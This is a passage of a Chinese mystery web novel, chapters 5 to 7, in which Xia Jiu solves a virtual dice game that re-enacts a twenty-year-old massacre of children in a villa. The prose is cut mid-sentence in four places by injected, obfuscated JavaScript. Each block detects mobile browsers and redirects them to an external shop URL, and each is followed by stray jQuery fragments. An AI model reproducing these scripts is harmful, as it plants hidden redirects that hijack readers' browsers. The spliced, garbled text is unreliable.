整场下来无事发生,直到最后几秒钟,女人突然猝不及防抬起了纤细的手臂。
可谁都没有想到的是,她的袖口里射出的细针,却不是冲着夏玖,而是冲着她对面的运动服少年!
运动服少年终究还是年轻,面对突然起来的变故没法沉住气,眼见着纤细的一根针突然飞过来,加上过于紧张嗓子眼一紧,他几乎是凭着本能反应“啊”了一声。
他旁边的西装男也吓了一跳,加上旁边运动服少年的动作幅度太大一下子撞到了他的胳膊,他疼得忍不住“嘶”地呻`吟了一下。
而这变故仅仅发生在不到3秒钟的时间里。
夏玖不可置信地看了女人一眼,只见她媚眼如丝,唇角含笑,却令人不寒而栗。
随着提示音响起,对面的运动服少年和西装男在倒计时结束的瞬间消失了。
他们因为在最后的关头发出了声音,被双双淘汰出局。
而和他们同一个队伍的眼镜男,也就是上一轮捉迷藏找人的男人,更是直接傻眼,足
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13403691|141243||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
足愣了几秒钟才回过劲儿,攥紧了拳头冷冷盯着性感女人。
女人却依然淡定地笑着。毫无疑问,她的行为已经直接搅乱了场上的局势。现在,夏玖队3人,性感女人和眼镜男都变成了只剩1个人。
女人侧过头看着夏玖,眼底不再是敌意,而是在释放着另一种积极的信号。
她这么做的目的很明显,别说是孟真,就连温阳也能读懂一二。她眼见自己处在不利地位,又看出了夏玖赢面很大,直接出手让另一个队伍减员到和自己一样只剩一个人,目的是与夏玖寻求合作。
毕竟,女人在场上有一个得天独厚的优势:她是唯一带着装备道具进来的玩家。
如果夏玖与女人联手合作淘汰眼镜男,那么场上就只剩下2支队伍,游戏规则是场上剩余人数小于等于2,获胜者算团队获胜,她们完全可以制造双赢局面。
夏玖看了她一眼,却没有表态。
突然,她眯起了眼睛,水晶吊灯错落的光线阴影落在她白皙的脸庞上,忽明忽暗,教人一时看不清她的眼神。
【淘汰人数:5/剩余人数:5】
·
【第五局。】
这一次,轮到孟真掷骰子。
其实场上的减员速度比孟真想象得要快,平均下来每场淘汰的人数已经超过了1人。她掷出骰子,同时在心底默念老天保佑。
好在她这一局确实运气不算差,掷出了点数3。
又是捉迷藏。
但这次不同的是,从她往下顺延一个,就是温阳。温阳不会傻到把自己的队友揪出来,所以这一局,他们三个应该都会是安全的。
温阳也松了一口气。目前来看,场上局势对他们很有利。
屏幕上的倒计时已经开始,除了温阳以外的其他人陆续上楼。由于之前藏过一次,他们对房间的格局比较熟悉了,所以大家整体上都不像第一次那么慌乱。
只有夏玖轻轻皱了皱眉头。
这一次她依然去了三楼。在拐角处,她凝望着这一扇扇如同太平间藏尸柜的门,最终还是选择了同一间。
仍是那个有着粉红色墙壁和一床洋娃娃玩具的房间。
那张羊皮卷地图还放在桌子上,屋里的陈设都和她上一次进来的时候丝毫不差。不过这一次,她却没有着急藏身。
不知是出于直觉还是怎么,鬼使神差下,夏玖轻轻拉开柜门。
而在柜门打开的瞬间,她整个人都愣住了。
由于她上一轮捉迷藏没有开柜子,所以竟没有看到这触目惊心的一幕——
在柜子里,放着一个婴儿的摇篮,摇篮里放着一个布娃娃。布娃娃的身上插/了一把刀,里面露出来的棉絮竟然是红色的,看上去就像是在流血。
无法想象,究竟是什么样的人,竟然会对一个布娃娃下如此狠手。更主要的是,这看上去明明像是小孩子的房间,可小孩子怎么会有那么重的戾气?
这些设定,会不会都是游戏——或者说谜题的一部分?
这栋别墅对于他们这些玩家而言,真的就只是一个“玩骰子游戏”的背景场所么?
而这个游戏的名称,又为何被冠以“审判”二字?
猝不及防地,像是脑海中瞬间迸发了电光火石一般,夏玖突然想起了第一局,当温阳投出点数4,自己被指定回答的那个问题。
——“你现在正在一栋别墅里。此时有人敲门,请问,是否开门?”
5. 第 5 章
【3,2,1……】
1分钟倒计时结束。
温阳随意进了几个二楼的房间,都没找到人。
他记得上一轮夏玖和孟真的大概位置,这次由他来找,他想到了最默契的方式就是她们还藏在原处,而他只要避开就行了。
夏玖和孟真都很聪明,她们也一定能想到。
不过相比于上轮眼镜男的“双杀战绩”,温阳这局的表现却很平庸。毕竟场上现在还剩下的玩家,包括除了自己队友外的性感女人和眼镜男,都不是省油的灯。
所以这一轮结束,整栋别墅无事发生。谁都没被找到,无人出局。
温阳从这一侧的三楼开始下楼梯。当他走到二楼恰好碰到孟真也在往外走,一起出来的还有那个眼镜男。
看来那个性感女人和夏玖是在一边的。他们还没下来。
温阳、孟真和眼镜男三人先回到了牌桌,在等他们两个。由于温阳没找到人,所以屏幕上显示的淘汰情况和上局一样,依然是5:5。
可他们等了几分钟,发现这俩人居然一直没下来。
什么情况?
温阳和孟真正疑惑着,就在这时,楼上突然传来了一阵刺耳的尖叫声——
“啊!!!”
——是那个女人!
难道出事了?!
孟真和温阳担心夏玖,几乎是没有犹豫立刻就冲上了楼梯,他们刚上到二楼,就看见女人跌跌撞撞地从走廊跑出来,妆容精致的脸上此刻竟是没有半点血色。
见温阳和孟真过来,女人像是抓住救命稻草一般紧紧抓住了温阳的胳膊——
“有……有……”
有什么?难不成有鬼?
孟真心底一惊,可她现在懒得理会这个女人,因为夏玖还在三楼,到现在都还没有一点动静。这女人力气真大,温阳一个大男生居然被她死死抓牢了无法脱身。孟真见此情形毫不犹豫往三楼跑,生怕楼上也出事。
但才刚迈几步,孟真就见到夏玖正缓缓走下楼梯,与她迎面遇上。
夏玖看上去并没有慌乱。只是表情有些凝重。
像是有些疑惑悬而未决,又像是心中有什么想法正在等待求证。
“小玖你没事吧?”
“没事。”
夏玖没说其他的,只是在经过女人身边的时候,她突然问她:“你看见了什么?”
“……好、好多血。”
如果不是涂着烈焰般的口红,女人的嘴唇恐怕也已经毫无血色了,就和她的脸一样。她在之前几局里那副胜券在握的样子不复存在,取而代之的是极度的恐惧和惊慌。
明明是虚拟的游戏,到底是什么能令人如此恐慌?
“难道有死人?!”
“有血?!在哪个房间?”
“不是,不是死人,但是血……”
女人拼命摇头,像是想说什么,又像是说不出口。孟真皱了皱眉头,她几乎都要怀疑这个女人是不是在故弄玄虚,又想搞什么花招了。
温阳更是个急性子,这种碰到了什么事跟人求救、却说话怎么都说不清楚的,温阳每次在电影里看到都急到恨不得一巴掌拍死对方。
尤其是她还一直攥着自己的胳膊不放,简直火上浇油,让他心里的排斥和厌恶感几乎快要达到临界点。
“……我相信你说的。请先松开我朋友。”
夏玖静静看着女人:“我陪你去看一眼。”
女人愣了愣,接着竟然真的松开了温阳的胳膊。
温阳也愣了一下。他看了一眼夏玖,又将视线转向孟真——果不其然,俩人面面相觑,眼里写满“莫名其妙”四个字。
“你们先回牌桌,看一下那个戴眼镜的男人。”
夏玖在孟真耳边低声说:“不用担心,我有分寸。”
孟真仍然满腹狐疑,但她相信既然夏玖这么开口,便是心里已经是有了想法。孟真用眼神示意温阳,俩人先后下了楼。
回到牌桌,眼镜男仍然等在座位上,看起来似乎对刚刚发生的一切都不感兴趣。见二人回来,他嘴角扯了扯,露出了一个有些诡异的笑容。
这个笑容顿时把温阳看得心里发毛,简直鸡皮疙瘩都快起来了。又联想起那个女人的模样,他忍不住在心中腹诽,这剩下的人怎么一个比一个不正常。
他低头看了一眼屏幕,游戏没有继续,仍然还停留在【淘汰人数:5/剩余人数:5】的界面,就像卡机了一样。
·
二楼,夏玖和性感女人站在楼梯口处。
称呼她为“性感女人”其实已经不太贴切了,因为现在的她已经失去那种自信性感的神采,脸色苍白嘴唇发抖,真就像影片中见了鬼马上就要下线的炮灰。
女人张了张嘴,刚想说什么,夏玖却先开了口。
“如果我问你,你会回答我么?”
她的语气温和平静。
女人没说话,她转身走进了二楼的房间过道。夏玖跟在她身后,保持着一个安全的距离。
在走到二楼最靠里的房间门前时,女人推开了门。
夏玖跟着往前走了几步,在房间门口站定。从这个角度,她可以看到这个房间的全貌。
女人说,她看见了很多血。可是房间里并没有血。
房间里很凌乱,像是经历了一场激烈的打斗。可是没有人,只有两个残破的布娃娃。
其中一个布娃娃的肚子上插/着一把刀,里面的棉絮是红的,看上去就像是在流血的尸体。
和她在三楼房间柜子里看到的一样。
夏玖走进房间,蹲下身拿起了其中一个布娃娃。在拿起布娃娃的同时,他看见它的身下压着一张旧照片。
照片上是几个孩子,笑得天真灿烂。最大的看起来十三四岁,最小的是他怀中抱着的婴儿,看上去似乎只有几个月大。
“游戏……还要继续。”
女人苦笑,双手掩面,像是想哭却哭不出来。夏玖犹豫了一下,最后还是伸出手,轻轻拍了拍她的肩膀。
蓦地,女人突然又抬起了头。
她指着房间墙上的一个不起眼的小盒子,认真地问:“你看,这是什么?”
夏玖的视线落在她所指的方向。
那个“小盒子”,是控制着整栋别墅的电闸。
在漆黑的夜晚,只要谁拉下这个电闸,所有的房间就都会陷入黑暗。
·
夏玖和女人回到牌桌以后,温阳和孟真的神经都绷紧了。
待夏玖在座位上坐下,温阳轻轻拉了她的衣袖:“怎么样,这个女人没耍什么花招吧?”
“没有。”
夏玖不再多言,她低头看了一眼电子屏幕,界面已经随着他和女人的归位而更新。
·
【第六局。】
骰子回到了温阳手上。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13403692|141243||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
五局以后,场上减员一半。但他们3个都还没有淘汰,那个女人又像是很信任夏玖,所以他们的优势很明显。
温阳也不像刚入场时那么紧张了,他很自然地掷出骰子。
【点数1。】
黑暗10秒钟。
本场游戏中首次出现。
在黑暗中不确定因素很大,但怎么看,那个眼镜男似乎都不可能在10秒钟里同时淘汰掉他们三个。更何况,他的目标应该是那个女人。
毕竟那个女人之前为了能让夏玖站在她这一边,出手解决了他的两个队友。
但他们没有更多思考的时间。很快,房间就陷入了一片黑暗。
完全的黑暗,连一丝光线都看不见。伴随着他们的只有倒计时提示音。
【10,9,8……】
黑暗中,夏玖能够感受到身边女人的气息,似乎在离自己越来越近。
【7,6,5……】
她闻到了淡淡的香水味,甚至感觉到像是有清香的发丝拂过了她的肩。
【4,3……】
再接着,她感受到有柔软的躯`体正在靠近自己。
【3,2……】
突然,黑暗中传来刀子捅`进身体的“噗呲”声,随后浓郁的血腥味儿逐渐蔓延开来,伴随着女人一声痛苦的呻`吟。
“唔……”
几乎就在同时,10秒倒计时结束,灯亮了。
眼镜男的喉咙间插`着一根细细的针,一看便是出自那个女人之手。他的眼睛都还没来得及闭上,就像是死不瞑目。
不过,眼下让孟真和温阳难以置信的,却不是这个眼镜男,而是那个女人。
如果眼镜男对这个女人下杀手,完全不难理解,毕竟这个女人之前在某一局里也淘汰了他的两个队友。
可问题是,这个女人是背后中刀,而且她是一个护在夏玖面前的姿势——
也就是说,她是为夏玖挡了眼镜男这一刀!
“救……你要救……”
女人的话还没有说完,就和眼镜男一样,身体逐渐透明消失。
在这一局,黑暗10秒钟的变故里,眼镜男和性感女人都被淘汰了。
孟真和温阳越来越看不清形势了。
难道性感女人和夏玖,刚刚在楼上达成了某种交易或共识吗?
而孟真又再次审视起了自己一开始的质疑——有关幕后老板以兰姨死因为诱饵引夏玖参加游戏的真实目的。她以为他们玩家之间都是没有关联的,每个人参与游戏的目的各不相同。可难道她真的猜错了,事情的关键真的就是兰姨,而性感女人也认识兰姨,所以才会挺身护住夏玖?
这个游戏进行到现在,太多的疑问无解了。
而与此同时,电子屏幕已经更新。
【淘汰人数:7/剩余人数:3】
【第七局。】
“怎么还在继续游戏?!”
温阳还以为自己看错了,“就剩我们一支队伍了,不管怎么我们队都能获胜啊,还有继续游戏的必要吗?”
“不对……有问题。”
就在温阳和孟真正满腹狐疑的时候,沉默许久的夏玖突然开了口。
按照顺序,这一局应该轮到她掷骰子。可是她拿起桌上的骰子,却没有投出去,而是紧紧握在手中。
“我们未免有些过于幸运了。游戏进行到现在,一直没有出过点数6。”
6. 第 6 章
“点数6?”
点数6是什么来着?
温阳刚想拿过卡片看一眼游戏规则,夏玖却直接回答了他。
“是重置。”
“哦对,是重置一次,根据重置出来的点数直接淘汰对应人数……”
说到这里,温阳突然停住了。
他这才反应过来,游戏规则是最后的人数小于等于2,却没有说一定会大于0!
本来,每一轮掷出的点数应该只是概率问题,可是这么一看,又感觉事情似乎没那么简单。
孟真神色一变:“难道……”
“如果我没猜错,如果这一局我再继续掷骰子,那么在这第七局,一定会出点数6,而接下来的重置,就会出点数3。”
所有人都会淘汰。
听到夏玖这么说,温阳只觉得脑袋“嗡”的一声,仿佛从天堂直接掉落了地狱。前一秒还以为胜券在握不管怎么都能赢,后一秒却发现原来还可能出现这样的反转?
“那,这个游戏到底是怎么回事,要把所有人都淘汰吗?”
“不是所有人。”
夏玖放下手中的卡片,看着孟真和温阳:“只是我们。”
“可我们不是留到最后的人吗?其他人都更早就淘汰了啊。”
“不,真正的游戏……才刚刚开始。”
夏玖收回视线,目光重新落在牌桌上。
“这不是多人竞技游戏。这是……单机游戏。”
或许更准确的说法应该是,单组游戏。因为他们是一个团队。
“难道说……真正的玩家,就只有我们3个?”
“没错。”
夏玖摊开手,掌心中静静躺着那个骰子。
“你们还记不记得,我们进场的时候,其他人就已经都在了。没有系统发布指示宣读规则,所有的一切,都由我们以为的‘玩家’所告知和引导。”
“没错,那个刀疤脸男人,是他一上来就说这是个掷骰子的游戏,而那个性感女人递过来了一张规则卡片。”
“他们都是这个游戏的NPC。他们的所有行为,包括每一局骰子掷出的点数、对应的事件发展、谁会在哪一局淘汰……都是这个游戏早已设定好的。”
这也就是他们为何会那么幸运,三个人居然都留到了最后。
因为这根本就不是随机的!
“从我们进门开始所发生的一切,每个人的言行、每一局的情况,都包含了我们解开这个谜题的线索。”
六轮游戏过后,夏玖终于将所有的疑点串联成线,说出了她的分析结论——
“真正的游戏,并不是掷骰子根据点数完成任务,而是以每一轮掷骰子后产生的对应事件作为线索,破解曾经发生在这栋别墅中的案件。这是一起连环杀人案,每淘汰一个玩家,就代表增加一名死者。”
夏玖说完,将手心中的那枚骰子放回到牌桌中央。
同时,她从衬衫的口袋里掏出了一张泛黄的旧照片。
那张照片上是几个小孩子,最大的十二三岁,最小的看上去才几个月大。
孟真凑过去看了一眼,她数了一下照片上的人数——
“1,2,3,4……有9个。”
“对,一共有9个孩子。”
“可就算这是角色扮演游戏,那我们也有10个人啊,怎么……”
孟真刚说到这里,突然,她的脑袋像是突然灵光一现,立刻反应过来:“我知道了,玩游戏的10个人里,每一局都有固定一个人扮演凶手的角色!”
“没错。”
夏玖将照片放在骰子旁边,轻轻闭上眼睛,无数零碎的片段和回忆在她的脑海中开始渐渐聚拢成形。
规则卡片静静放在牌桌上。
【点数1:整栋别墅陷入黑暗10秒钟】
【点数2:双人玩牌,输家淘汰】
【点数3:捉迷藏,1分钟,1人捉,其余人藏,被找到的淘汰】
【点数4:指定一人回答问题,答错淘汰】
【点数5:1分钟沉默,出声者淘汰】
【点数6:重掷一次,直接淘汰与点数相同的人数】
·
“现在,让我们重新回到最开始的时候——从第一局开始。”
·
第一局,温阳投出点数4,指定人回答问题。巧的是,这个问题刚好抛给了夏玖。
“你现在正在一栋别墅里。此时有人敲门,请问,是否开门?”
这个问题的答案,就是一切的开端,也是这个“骰子审判游戏”真正开始的那一刻。
“第一个问题,不管我怎么选,游戏都会继续。”
他们这支队伍是唯一的玩家团队。她不管怎么选,都无法改变游戏的运行和结局的走向。她就算选择不开门,故事也会兜兜转转循环回来,由NPC引向开门的支线——
门开了。
故事的场景还原至此开始。
【9个孩子现在正在一栋别墅里。不知是怎样的特殊形势导致了别墅里只有这9个孩子而没有照顾孩子的大人,但不管怎样,当时的场景就是如此。而就在这时,一位不速之客到访。也许这是他们认识的人,又或者只是因为他们疏于戒备——总之,当门外有人敲门的时候,一个孩子下楼开了门。】
凶手进门以后,第一个杀的当然就是给他开门的人。当然,不管是谁都不可能等着对方宰杀自己,即使不敌,但也会有一阵厮斗反抗的过程——
于是就有了第二局掷出的点数2:双人对阵,输者淘汰。
在第二局里,出现的双人对阵局面隐喻了凶手与开门者的直接冲突过程。一胜一负,代表一生一死。
【凶手带刀进门,杀了给他开门的人。别墅里算上凶手的10个人里,死亡1人,剩余9人。】
游戏中,第二局结束,淘汰人数:剩余人数=1:9。
这一局,性感女人扮演了凶手角色。当凶手杀了第一个人以后,他接下来要做的,就是搜寻这栋别墅里剩余的人。由于凶手就在一楼,其他人无法逃离别墅,那么就只能先藏起来。
于是,下一轮骰子掷出点数3,暗示别墅里等同进行了一场“捉迷藏”游戏。
【凶手上楼寻找是否还有活着的人,其他人就像在玩捉迷藏游戏一样藏了起来。不幸的是,有两个没有藏好,直接被他找到了。他杀了那两个人,此时活着的人,就只剩下7个。】
游戏中,第三局捉迷藏结束,淘汰人数:剩余人数=3:7。
这一次眼镜男代表了凶手,那一对炮灰大学生情侣代表那两个被找到的人。
其他没有被找到的人默默地藏着,原本还没有被发现。可惜,从照片上看,在这些孩子里,有一个特别小的婴儿。
而夏玖在三楼藏身的房间里,在柜子里发现了婴儿摇篮。
婴儿摇篮为什么会出现在柜子里?因为那暗示了其中一个孩子将婴儿藏进了柜子。
可婴儿摇篮里的布娃娃又为何插/着一把刀?
那暗示婴儿被发现了,凶手杀了他。而凶手之所以能找到藏在
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13403693|141243||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
柜子里的婴儿,可能性最大的就是,婴儿没有意识,不知道危机的存在,无法控制自己安静。
于是在第四局,骰子掷出点数5。对应的事件是1分钟沉默,出声者淘汰。
而这场由婴儿弄出动静而引发被找到的事故,相比于“捉迷藏”,更接近一个“禁言”的游戏——
出声即死亡。
【凶手刚找到两个人,这时,由于其中一个房间里藏着婴儿,而婴儿或许是饿了也或许是太闷,哭出声发出了动静,导致这个房间被凶手找到。婴儿自己是不可能藏进柜子里的,所以凶手发现了婴儿之后,就知道房间里至少还有一个,所以另一个大孩子也跟着被找到了。就这样,房间中的人又死了两个。】
性感女人在这一局里突然双杀运动服少年和西装男,正是暗示有两个孩子在这期间被杀。
所以第四局结束,淘汰人数:剩余人数=5:5。
而这一局,也是夏玖开始对这个游戏产生怀疑的一局。她觉得女人突然对运动服少年和西装男动手实在太过突兀,更诡异的是她居然一出手一个准,那两个人未免淘汰得过于随意了。
由此她开始怀疑,这个游戏真正的背景。
带着这样的疑问,她逐渐发现了更多的疑点。
“接下来,就进行到了第五局。”
·
夏玖讲到这里,孟真和温阳已经哑口无言。
他们在玩这个游戏的过程中,虽然随着游戏推进都看出了这绝不是他们一开始想象中那么简单的掷骰子游戏,可谁也没往那方面想。
而夏玖这样一解读,他们才发现这其中确实有些东西过于巧合了。
“我一开始也只是怀疑,或者说疑惑,很多零碎的念头和想法在脑海里闪回,却找不到一个能把所有事件串联起来的突破口。”
夏玖缓缓说道:“尤其是……第五局。我甚至一度差点断了思路。”
第五局,孟真掷出点数3,场上进行第二次“捉迷藏”游戏。
捉迷藏之所以会出现两次,是因为凶手因为婴儿哭声而又找到两个人之后,他还要继续找其他人。这就等同于中途插`入的“禁言”切割了一场完整的“捉迷藏”,因此“捉迷藏”这个过程在“禁言”结束后又重复了一次。
而在游戏里,温阳没有找到人。
因此,在第五局依然和第四局一样,淘汰人数:剩余人数=5:5。
这并不是因为温阳不够聪明,除队友外剩下的两个人都找不到,而是因为,在对应的原故事中,凶手就是没有找到人。
所以对应到游戏中,眼镜男和性感女人是一定不会被温阳找到的。
可是,既然凶手没有找到人,那么,他就以为别墅里没人了,就这样离开,于是剩下的5个人都幸免于难了么?
不,没那么简单。
因为这一局结束后,游戏仍在继续。这就意味着故事还没有结束,也就是凶手的杀人行动还没结束。
除此之外,夏玖在房间里发现的羊皮卷地图,和游戏名中至今未曾出现的“审判”概念也都无法解释。
还有性感女人特意指给她看的控制电闸的小盒子,以及下一局紧接着就出现的点数1黑暗10秒。
而这一段,也是夏玖觉得最难还原出来的故事情节。到底在隐喻什么?
“最后真正解开我所有疑惑、给我最重要提示信息的人……是坐在我身边的女人。”
黑暗中,她扑进她怀里为她挡的那一刀,是解读整场游戏、整个剧情中,最为关键的部分。
7. 第 7 章
如果说在每一场解密游戏里,都会有那么几个特别关键的人物或者道具,牵系着与真相最为密切的线索。
那么毫无疑问,在这场游戏中,夏玖身边的性感女人,就是这样一个角色——最关键的一个NPC。
这也是为什么这个女人从一开始就以性感的外表和尖锐的言论不断吸引了夏玖的注意,而她们对面的大学生情侣却毫无存在感地淘汰了。后者扮演炮灰角色“一轮游”,而女人则是关键NPC,是提供信息最多的那个人。
夏玖发现,第五局结束后,她整个人的人物特征似乎都变了很多。她变得很恐惧,而恐惧之外又带着深深的无奈与悲伤。
像是一种,做好了牺牲与献祭准备的悲伤。
在第六局,温阳掷骰子,投出点数1,黑暗10秒钟。
而在这一局之前,女人就指给夏玖看过房间门口的电闸。这是一个极为关键的提示。
凶手还在别墅里,没有走。
此刻别墅中剩余5个人。除了凶手,还剩4人。
在密闭的空间里,就算有再多房间,可只要凶手耐心地、慢慢地找,似乎就只有被凶手逐一发现等死这一种结局。
可是,不一定。还有一种选择。
那就是牺牲一个人,主动暴露自己,通过故意发出动静将凶手引进其中一个房间中,与此同时另一个同伴配合在凶手走进房间的刹那拉下电闸,关灯。
突如其来的黑暗难免让人一时失控,房间中的那个人再死死拖住凶手争取时间,门外的同伴配合趁着这个机会将门关上、上锁,将凶手困入房间。
这样,就至少还能够保住剩下的三个人。
而在游戏里,第六局,女人在黑暗中为夏玖挡下眼镜男的一刀,暗示了这一局她的角色就是那个牺牲者。
【凶手被其中一个人引进房间,紧接着,整栋房子都陷入了黑暗。他一时大意乱了阵脚,不过几秒钟的时间,就被锁进了房间里。】
在这样的情况下,即使房间里的那个人无法与凶手同归于尽,可凶手却也暂时无法出来。
第六局游戏黑暗10秒结束后,大厅重见光明。
淘汰人数:剩余人数=7:3。
现在只剩下夏玖他们3个人。
夏玖终于明白,为何幕后老板的目标只是她,却又让她再带2名队友组成团队——因为要对应最后的幸存3人。
可是……现在的幸存者有3位,而游戏规则却是最终人数小于等于2。
游戏并没有结束。
意味着“个人获胜”与“团队获胜”之间,是充分不必要关系。最终获胜者算团队获胜,但只剩一支团队而人数大于2的时候,却并会不直接判定3人都获胜。
要想游戏获胜,他们必须还要再往下淘汰人。
夏玖本就是核心人物,那么只能是孟真和温阳二人淘汰其一。
“我们听你的。”
现在的形势已经逐渐明朗,温阳对夏玖说:“就像我们最初组队时预期的那样,不管是我还是孟真,在这个游戏中都是扮演工具角色,配合你完成这个游戏,找到有关兰姨的真相。你不管淘汰谁都无所谓。”
孟真却提出另一个观点。“要求最终留下的人小于等于2,不一定是2,也可能是1。小玖,我觉得既然对方的目标只有你,那是不是你应该把我和温阳都淘汰,只剩你自己?”
听孟真一说,温阳也觉得她分析得似乎更有道理。
所以,是再淘汰1个,还是只留夏玖1个?
夏玖却眼眸凝重。她也不确定这最后一步她的判断是否准确。
“最后一局。我们需要淘汰……”
那几个字在夏玖舌尖徘徊,她能想象到说出来以后或许会面对孟真和温阳不可置信的表情。犹豫了几秒钟后,她才缓缓说出口。
“一个半。”
·
夏玖看到那副羊皮卷地图的时候,她感觉到了一丝熟悉。
“你们有没有听说过,二十年前的一场别墅惨案?”
二十年前?
温阳流露出困惑不解的表情。二十年前他还没出生,孟真和夏玖也还不到一岁。这太过久远了。
孟真却是曾有所耳闻的。她忍不住瞪大了眼睛,难道,难道这场游戏的故事原型,竟然是当年的那场震惊全国的绑架杀人案?!
当年,报纸各大版面都在刊载,那幅地图正是出现在各种报道里,至今在网上有所传播。如果给孟真去看那幅地图,她也会觉得眼熟,因为她曾经在讲述这起案件的营销号里见到过。
“年代虽久,可因为那起案件太过轰动,所以偶尔还是能从一些营销号里看到那个案子。温阳从小在国外长大,所以不太了解。”孟真皱了皱眉,却又觉得哪里不太对。
“可是我怎么记得,当年那场绑架案,最后的幸存者……只有一个?”
·
二十年前,在郊区的一栋度假别墅里,曾发生过一起惨绝人寰的杀人案。当时别墅里共9个小孩,最大的13岁,最小的还不到1岁。
孩子们的父母,都是某科研院所的研究员。
案件报道是这样陈述的:那一日,该科研所组织室里的几位研究员携带家属及孩子一同参加度假活动,地点在一栋豪华的郊区别墅。可是在中途,这些大人却被派以临时委派任务需要离开一阵,不过组织为他们安排了一个在科研所工作多年、忠厚老实的保安员留下照看那9个孩子。
却不料,悲剧就此开始。
根据别墅外的监控,当时那名保安员在孩子们的父母离开后不久,突然出去接了一个电话,接着便走出了监控区。9个孩子们被单独丢在别墅里一下午。
事情到这里,还只是责任心的问题。
可等他再次回来,在别墅外敲响房门,便开始了无差别的屠杀。
没有人知道别墅里发生了什么。只知道最后,有3个孩子逃出了别墅,一路狂奔。其中一个孩子带了智能手表,在终于跑到有信号的地方时,毫不犹豫报了警。
等警方赶到别墅,迎接他们的就是6个孩子惨死的人间炼狱现场,而那个平时忠厚老实却突然杀人的保安员,则在警方到来前便在别墅内自杀身亡。
警方一直没有找到他的手机,不知道他在别墅外的电话究竟打给了谁。
然而,手机虽然没有找到,研究所人员却在之后在公共邮箱中发现了一封案发前的勒索信,要求在下午之前交付给他500万现金,逾期或报警都会直接撕票。
那一天到底为什么会没有人查看邮箱不得而知,但结果就是,研究所没有及时收到勒索信,没有按时上交赎金,那些孩子们就那样无辜地遭遇了灭顶之灾。
罪犯当场伏法。就这样结案了。而案件的幸存者——
3个孩子?
不,并不是。
根据报道,是有3个孩子从别墅里逃出来了。可是,他们并没有都幸存。其中一个孩子体质很弱,经历了这么一遭回去生了一场大病,没过多久也撒手人寰。
还有一个虽捡回了一条命,可是受了巨大的刺激,患上了精神疾病,人没死却疯了。
真正完整从那场惨案中幸存下来的,只有一个人。
·
“淘汰一个半。”
随着夏玖这句话落下,温阳还没反应过来就直接被退出了游戏,而孟真则进入了一个虚拟的空白空间,似乎在对应故事中的“半个幸存者”。
而夏玖,只有她留到了最后。
她望着天花板上的水晶吊灯,似在自言自语,又像是在与现实世界里观察着她游戏全程的那双眼睛对话。
“骰子审判游戏。”
她一开始百思不得其解,为什么要额外加一个“不同团队分别掌握一部分游戏规则”的设定。现在想来,其他团队的“独家信息”是什么都不重要,重要的是,幕后老板想让她明白,所有人一同参与的“骰子游戏”是还原整个故事的关键,而“审判”则是独属于她的存在。
——“如果我没有猜
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13403694|141243||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
错,这个游戏之所以叫骰子审判游戏,是因为,你要审判的人,就是我,对吗?”
夏玖望着水晶吊灯中的摄像头,她知道对方就在它的另一端。
“是你。是二十年前唯一幸存下来的你。”夏玖说到这句的时候,不知为何感觉嗓子有些沉重。她鼻尖发酸,声音也逐渐哽咽起来。
“有那么一起瞬间,我好希望从未收到过你的游戏邀请,好希望我没有解读出这一切,宁愿糊里糊涂地继续过着平凡的生活。可是我不得不将一切都往最坏的方向去揣测,不得不面对血淋淋的真相。”
夏玖说完这句,哽咽的音调已逐渐开始颤抖。
“二十年前的事,与兰姨有关……是不是?”
没有人回答她。
紧接着,眼前的一切都倏然崩塌了。在这个真实的、虚拟的空间中,她终于破译了真相的密码。整个世界天旋地转起来,夏玖眼前一片漆黑,只感觉脑子“嗡”的一声,带着微微电流的刺痛感。待她再次睁眼,便已回到了现实世界。
在她身旁,孟真和温阳关切地问道:“你还好吗?”
他们不知道后面又发生了什么,可是他们看见了夏玖落泪。
“我没事。”夏玖拭去眼角的泪痕,对孟真和温阳努力露出一丝微笑。“谢谢你们,陪我参与这场游戏,陪我……接近有关兰姨的过去。”
孟真心疼地摸了摸她的头发。“别说这些,我们是朋友。”
眼下的温情场景并没有延续很久。夏玖刚退出游戏,房间的门开了。
